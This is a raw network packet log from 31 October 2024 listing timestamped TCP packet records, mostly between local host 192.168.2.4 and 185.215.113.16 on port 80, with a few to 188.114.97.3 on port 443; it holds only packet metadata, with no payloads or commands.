Oct 31, 2024 20:52:44.898492098 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.898504019 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.898518085 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.898552895 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.898921967 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.898981094 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.898992062 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.899003983 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.899034023 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.899049997 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.899056911 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.899091959 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.899105072 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.899143934 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.899236917 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.899255037 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.899266958 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.899277925 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.899291992 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.899305105 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.899306059 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.899305105 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.899333954 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.899350882 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.899354935 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.899369955 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.899380922 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.899385929 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.899393082 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.899406910 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.899409056 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.899432898 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.964483023 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.966172934 CET	443	49783	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:44.966254950 CET	443	49783	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:44.966305017 CET	49783	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:44.966579914 CET	49783	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:44.966579914 CET	49783	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:44.966600895 CET	443	49783	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:44.966633081 CET	443	49783	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:44.968415976 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.973228931 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.973304987 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.973460913 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.978205919 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.082997084 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.084044933 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.092060089 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.092084885 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.092103004 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.092114925 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.092127085 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.092139006 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.092150927 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.092161894 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.092164040 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.092175961 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.092206001 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.092422962 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.092467070 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.092490911 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.092503071 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.092550039 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.092570066 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.092582941 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.092593908 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.092605114 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.092623949 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.092653036 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.092714071 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.092725992 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.092736959 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.092747927 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.092758894 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.092772007 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.092782974 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.092783928 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.092783928 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.092794895 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.092809916 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.092817068 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.092830896 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.092839003 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.092844009 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.092855930 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.092868090 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.092891932 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.092914104 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.092945099 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.092957020 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.092967033 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.092978001 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.092984915 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.092989922 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.093003035 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.093007088 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.093015909 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.093028069 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.093029976 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.093051910 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.093065977 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.093069077 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.093081951 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.093092918 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.093094110 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.093108892 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.093130112 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.093135118 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.093142033 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.093153954 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.093158960 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.093166113 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.093189001 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.093211889 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.093283892 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.093296051 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.093306065 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.093316078 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.093327999 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.093339920 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.093352079 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.093357086 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.093363047 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.093377113 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.093388081 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.093388081 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.093409061 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.093415976 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.093429089 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.093440056 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.093451023 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.093456984 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.093470097 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.093493938 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.093529940 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.093543053 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.093554020 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.093565941 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.093576908 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.093589067 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.093600035 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.093600988 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.093616009 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.093627930 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.093647003 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.093648911 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.093662024 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.093666077 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.093703032 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.093938112 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.093981981 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.093993902 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.094021082 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.094058037 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.094069958 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.094082117 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.094094038 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.094127893 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.094161987 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.094172955 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.094182968 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.094197035 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.094208002 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.094208956 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.094230890 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.094255924 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.094296932 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.094307899 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.094326019 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.094336987 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.094347954 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.094350100 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.094360113 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.094372988 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.094383955 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.094389915 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.094397068 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.094412088 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.094435930 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.094665051 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.094679117 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.094691992 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.094729900 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.094736099 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.094742060 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.094753027 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.094765902 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.094779015 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.094815016 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.094872952 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.094890118 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.094902039 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.094913006 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.094923973 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.094933987 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.094945908 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.094945908 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.094959974 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.094968081 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.094973087 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.094986916 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.095011950 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.095026016 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.095025063 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.095036983 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.095050097 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.095050097 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.095061064 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.095114946 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.095114946 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.095149040 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.095160007 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.095170021 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.095180988 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.095192909 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.095202923 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.095215082 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.095216036 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.095227003 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.095232964 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.095235109 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.095240116 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.095330954 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.095357895 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.095638990 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.095652103 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.095662117 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.095691919 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.095710039 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.095735073 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.095746994 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.095755100 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.095760107 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.095792055 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.095803022 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.095814943 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.095824957 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.095837116 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.095849037 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.095892906 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.095937967 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.095949888 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.095959902 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.095971107 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.095988035 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.095993042 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.095999956 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.096012115 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.096013069 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.096029043 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.096031904 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.096048117 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.096052885 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.096097946 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.096097946 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.096291065 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.096303940 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.096314907 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.096349001 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.096378088 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.096411943 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.096424103 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.096435070 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.096447945 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.096467018 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.096494913 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.096503973 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.096517086 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.096529007 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.096539974 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.096550941 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.096559048 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.096587896 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.096630096 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.096642971 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.096653938 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.096664906 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.096677065 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.096688032 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.096697092 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.096697092 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.096698999 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.096710920 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.096719027 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.096729040 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.096741915 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.096740961 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.096755981 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.096766949 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.096776009 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.096795082 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.096873999 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.096885920 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.096896887 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.096908092 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.096920013 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.096924067 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.096931934 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.096940041 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.096940994 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.096963882 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.097002029 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.097238064 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.097250938 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.097261906 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.097309113 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.097330093 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.097342968 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.097352982 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.097364902 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.097378969 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.097404003 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.097433090 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.097445011 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.097460032 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.097472906 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.097484112 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.097491980 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.097506046 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.097508907 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.097521067 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.097533941 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.097558975 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.097615957 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.097629070 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.097637892 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.097649097 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.097659111 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.097671986 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.097686052 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.097692966 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.097700119 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.097733021 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.098440886 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.098488092 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.098540068 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.098551035 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.098561049 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.098572016 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.098583937 CET	80	49766	185.215.113.16	192.168.2.4
